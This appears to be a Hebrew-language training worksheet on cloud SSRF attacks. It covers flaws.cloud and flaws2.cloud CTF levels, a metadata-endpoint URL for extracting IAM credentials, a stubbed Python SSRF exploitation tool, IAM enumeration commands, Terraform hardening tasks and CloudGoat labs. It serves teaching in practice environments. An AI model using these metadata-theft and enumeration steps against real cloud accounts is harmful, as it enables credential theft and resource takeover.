לדלג לתוכן

תקיפת ענן דרך SSRF - תרגיל

תרגיל 1 - flaws.cloud רמה 1-3

רקע

האתר flaws.cloud הוא CTF מבית AWS שמלמד על תצורות שגויות נפוצות.

משימה

השלימו את שלושת הרמות הראשונות:

רמה 1 - http://flaws.cloud
- מצאו S3 Bucket עם הרשאות גישה שגויות
- רמז: הדומיין עצמו מתארח על S3

רמה 2 - http://level2-c8b217a33fcf1f839f6f1f73a00a9ae7.flaws.cloud
- גישה ל-Bucket עם AWS Account כלשהו (לא אנונימי)
- צרו חשבון AWS חינמי אם אין לכם

רמה 3 - http://level3-9afd3927f195e10225021a578e6f78df.flaws.cloud
- מצאו מפתחות AWS בהיסטוריית Git
- השתמשו בהם לגישה למשאבים נוספים

שלבים מנחים לרמה 1

# בדיקת ה-Bucket
aws s3 ls s3://flaws.cloud --no-sign-request

# מה הקבצים שנמצאים שם?
# חפשו קובץ שמוביל לרמה הבאה

תרגיל 2 - flaws.cloud רמה 4-5

משימה

רמה 4 - http://level4-1156739cfb264ced6de514971a4bef68.flaws.cloud
- מצאו EC2 Instance עם הרשאות SSRF
- חלצו הרשאות מ-Instance Metadata
- רמז: חפשו snapshot של EBS

רמה 5 - http://level5-d2891f604d2061b6977c2481b0c8333e.flaws.cloud/243f422c
- נצלו SSRF דרך פרוקסי שרץ על EC2
- גשו ל-Instance Metadata דרך ה-SSRF
- חלצו IAM credentials

שלבים מנחים לרמה 5

# הפרוקסי מאפשר גישה לכתובות URL
# נסו לגשת ל-metadata:
http://level5-d2891f604d2061b6977c2481b0c8333e.flaws.cloud/proxy/169.254.169.254/latest/meta-data/

# מצאו את ה-IAM Role
# חלצו את ההרשאות
# השתמשו בהן לגישה ל-Bucket של רמה 6

תרגיל 3 - flaws2.cloud (Attacker Path)

רקע

flaws2.cloud ממשיך את flaws.cloud עם תרחישים מתקדמים יותר.

משימה

השלימו את נתיב התוקף:

רמה 1 - http://flaws2.cloud
- מצאו את ה-Cognito credentials בקוד ה-JavaScript
- השתמשו בהם לגישה ל-S3

רמה 2
- מצאו container שרץ ב-ECR
- חלצו את ה-credentials מתוך ה-container
- עברו לרמה הבאה

רמה 3
- נצלו Lambda function
- חלצו את ה-environment variables שמכילים סודות


תרגיל 4 - סקריפט ניצול אוטומטי

משימה

כתבו סקריפט Python שמבצע ניצול מלא של SSRF לענן:

#!/usr/bin/env python3
"""
AWS SSRF Exploitation Tool
"""
import requests
import json
import sys

class CloudSSRFExploiter:
    def __init__(self, target_url, ssrf_param):
        """
        target_url: כתובת היעד הפגיע
        ssrf_param: שם הפרמטר הפגיע
        """
        self.target_url = target_url
        self.ssrf_param = ssrf_param

    def ssrf_fetch(self, internal_url):
        """שליחת בקשה דרך ה-SSRF"""
        # TODO: מימוש
        pass

    def detect_cloud_provider(self):
        """זיהוי ספק הענן דרך ה-metadata"""
        # TODO: נסו AWS, GCP, Azure, DigitalOcean
        # החזירו את שם הספק
        pass

    def extract_aws_credentials(self):
        """חילוץ הרשאות AWS"""
        # TODO: מימוש
        pass

    def extract_gcp_token(self):
        """חילוץ טוקן GCP"""
        # TODO: מימוש
        pass

    def extract_azure_token(self):
        """חילוץ טוקן Azure"""
        # TODO: מימוש
        pass

    def enumerate_aws_permissions(self, creds):
        """בדיקת הרשאות שקיימות ב-credentials"""
        # TODO: נסו פעולות שונות וראו מה מצליח
        pass

    def run(self):
        """הרצת כל שלבי הניצול"""
        provider = self.detect_cloud_provider()
        print(f"[+] Cloud Provider: {provider}")

        if provider == "aws":
            creds = self.extract_aws_credentials()
            self.enumerate_aws_permissions(creds)
        elif provider == "gcp":
            self.extract_gcp_token()
        elif provider == "azure":
            self.extract_azure_token()

if __name__ == "__main__":
    if len(sys.argv) != 3:
        print(f"Usage: {sys.argv[0]} <target_url> <ssrf_param>")
        sys.exit(1)

    exploiter = CloudSSRFExploiter(sys.argv[1], sys.argv[2])
    exploiter.run()

דרישות

  1. הסקריפט צריך לזהות אוטומטית את ספק הענן
  2. לחלץ הרשאות/טוקנים בהתאם לספק
  3. לבדוק אילו פעולות ההרשאות מאפשרות
  4. להדפיס פקודות export מוכנות לשימוש
  5. לתמוך גם ב-IMDSv2 (ניסיון אוטומטי)

תרגיל 5 - ניצול הרשאות גנובות

רקע

קיבלתם את ההרשאות הבאות (בסביבת תרגול בלבד):

AWS_ACCESS_KEY_ID=AKIA_PRACTICE_KEY
AWS_SECRET_ACCESS_KEY=practice_secret_key

משימות

  1. בדקו את הזהות של ההרשאות:

    aws sts get-caller-identity
    

  2. בצעו enum של ההרשאות - מצאו מה מותר ומה אסור:

    # נסו פעולות שונות
    aws s3 ls
    aws ec2 describe-instances
    aws iam list-users
    aws lambda list-functions
    

  3. השתמשו בכלי enumerate-iam:

    git clone https://github.com/andresriancho/enumerate-iam.git
    cd enumerate-iam
    pip install -r requirements.txt
    python enumerate-iam.py --access-key AKIA... --secret-key ...
    

  4. אם מצאתם גישה ל-S3, חפשו מידע רגיש ב-Buckets

  5. אם מצאתם גישה ל-Lambda, בדקו את משתני הסביבה של הפונקציות

תרגיל 6 - הקשחת סביבת AWS

משימה

כתבו מדיניות Terraform שמיישמת את כל ההגנות:

# TODO: השלימו את הקוד

# 1. הפעלת IMDSv2 בלבד
resource "aws_instance" "secure_instance" {
  # ...
  metadata_options {
    # TODO
  }
}

# 2. IAM Role עם הרשאות מינימליות
resource "aws_iam_role_policy" "minimal_policy" {
  # TODO: הגדירו הרשאות ספציפיות בלבד
}

# 3. VPC Endpoint ל-S3 (במקום גישה דרך האינטרנט)
resource "aws_vpc_endpoint" "s3" {
  # TODO
}

תרגיל בונוס - CloudGoat

רקע

CloudGoat הוא כלי של Rhino Security Labs שיוצר סביבות AWS פגיעות לתרגול.

משימה

# התקנה
git clone https://github.com/RhinoSecurityLabs/cloudgoat.git
cd cloudgoat
pip install -r requirements.txt

# יצירת תרחיש
python cloudgoat.py create ec2_ssrf

# השלימו את התרחיש:
# 1. מצאו את שרת הווב
# 2. נצלו SSRF
# 3. חלצו IAM credentials
# 4. השתלטו על משאבים נוספים

אזהרה חשובה

  • השתמשו רק בחשבון AWS ייעודי לתרגול
  • אל תריצו CloudGoat בחשבון פרודקשן
  • נקו את המשאבים אחרי הסיום: python cloudgoat.py destroy ec2_ssrf
  • היו מודעים לעלויות - חלק מהמשאבים עולים כסף